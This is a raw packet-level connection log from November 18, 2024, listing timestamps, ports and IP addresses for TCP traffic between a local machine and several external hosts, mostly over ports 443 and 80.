Nov 18, 2024 04:41:28.919130087 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.919195890 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.921787977 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.921808004 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.934257030 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.934303999 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.934371948 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.934597015 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.934609890 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.999089003 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.999203920 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.999309063 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.000646114 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.000646114 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.000667095 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.000679016 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.016529083 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:29.078012943 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:29.078332901 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:29.082899094 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:29.083197117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:29.083267927 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:29.086438894 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.086488962 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.086694956 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.087848902 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:29.087958097 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:29.088779926 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.088805914 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.092690945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:29.092776060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:29.092880011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:29.092895031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:29.139702082 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:29.146742105 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:29.146876097 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:29.147017002 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:29.366398096 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.374104023 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.374124050 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.374459982 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.376101017 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.376106977 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.377911091 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.377939939 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.378597975 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.378602982 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.504050970 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.504122972 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.504200935 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.504471064 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.504498005 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.504512072 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.504518986 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506514072 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506542921 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506630898 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.506643057 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506772995 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.506810904 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506829023 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506891966 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.506917953 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.506972075 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.506972075 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.506985903 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.506998062 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.507131100 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.507165909 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.510169029 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.510258913 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.510341883 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.510993004 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.511027098 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.655347109 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.668467045 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.722997904 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.770179987 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.806148052 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.838651896 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.838669062 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.839271069 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.839276075 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.853903055 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.853916883 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.854429007 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.854434967 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.871519089 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.965399981 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.965553999 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.965642929 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.979566097 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.979595900 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.979660034 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:29.979767084 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:29.979767084 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.235080004 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.235124111 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.235717058 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.235729933 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.243973017 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.244364023 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.244385958 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.244795084 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.244801044 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.246206999 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.246769905 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.246818066 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.247241974 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.247253895 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.291004896 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.291013956 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.291023970 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.291028976 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.300142050 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.300162077 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.300303936 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.300512075 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.300512075 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.300523996 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.300533056 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.358412027 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.358434916 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.358495951 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.358532906 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.358588934 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.358606100 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.358671904 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.358736992 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.373502016 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.373522043 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.373579979 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.373599052 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.373629093 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.377186060 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.377264977 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.377376080 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.419529915 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.419595003 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.419625044 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.419653893 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.421014071 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.421035051 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.433690071 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.433712006 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.447550058 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.447550058 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.447571993 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.447582960 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.488195896 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.488249063 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.488496065 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.494853973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:30.494940996 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:30.567776918 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.567811012 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.567897081 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.568056107 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.568089008 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.643306017 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.643337011 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.656321049 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:30.656332016 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:30.656395912 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:30.656757116 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:30.656769991 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:30.761147976 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:30.761217117 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:30.766037941 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:30.766067028 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:30.766079903 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:30.766123056 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:30.766135931 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:30.829433918 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.829478979 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.829603910 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.906902075 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.906949043 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.907013893 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.909351110 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.909369946 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:30.917825937 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:30.917855978 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:30.917915106 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:30.918121099 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:30.918133974 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:30.918992043 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:30.919022083 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:30.919075966 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:30.919931889 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:30.919945955 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:30.921396971 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:30.921416044 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.114320040 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.114353895 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.114388943 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.114404917 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:31.114450932 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.114495039 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:31.114630938 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.114646912 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.114682913 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:31.114995956 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.115032911 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.115050077 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.115073919 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:31.115108013 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.115122080 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:31.115144968 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:31.169125080 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.169747114 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.169768095 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.170352936 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.170357943 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.201653004 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:31.206568956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:31.219926119 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:31.254508972 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.254534960 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.254544020 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.254571915 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.254585981 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.254621029 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.254838943 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.254848957 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.254954100 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.254967928 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.280388117 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.280400991 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.280455112 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.282825947 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.282834053 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.303903103 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.304064989 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.304121017 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.305341959 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.305901051 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.305916071 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.305927038 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.305932045 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.307022095 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.307054996 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.307426929 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.307435036 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.311701059 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.311738014 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.311794043 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.312012911 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.312028885 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.372266054 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.372634888 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.372658014 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.373543978 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.373549938 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.434705019 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.434767008 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.434818983 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.435432911 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.435456991 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.435471058 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.435478926 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.452816010 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.452847004 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.452944040 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.453305960 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.453318119 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.502171040 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:31.502362967 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:31.502372980 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:31.503201962 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.503262997 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.503331900 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.503555059 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:31.503612041 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:31.504893064 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:31.504956007 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:31.506751060 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.506763935 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.506774902 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.506778955 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.509884119 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.509927034 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.509983063 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.510179043 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.510195971 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.564889908 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:31.564917088 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:31.655853987 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.656325102 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.656341076 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.656857967 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.656862974 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.661696911 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.662097931 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.662125111 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.662575006 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.662580967 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.674029112 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:31.777273893 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.792815924 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.792829037 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.793211937 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.793284893 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.793325901 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.793477058 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.793518066 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.793521881 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.793533087 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.793579102 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.793579102 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.794625044 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.795639038 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.795793056 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.795847893 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.799279928 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.799305916 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.799328089 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.799335003 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.801172018 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.801187038 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.801196098 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.801202059 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.802998066 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.803087950 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.803564072 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.803571939 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:31.844964027 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.844995022 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.845052004 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.845196962 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.845206022 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.845318079 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.845345020 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.845402002 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.845498085 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:31.845505953 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:31.864372969 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:31.864969015 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.866895914 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.866904020 CET	443	49863	162.159.61.3	192.168.2.6
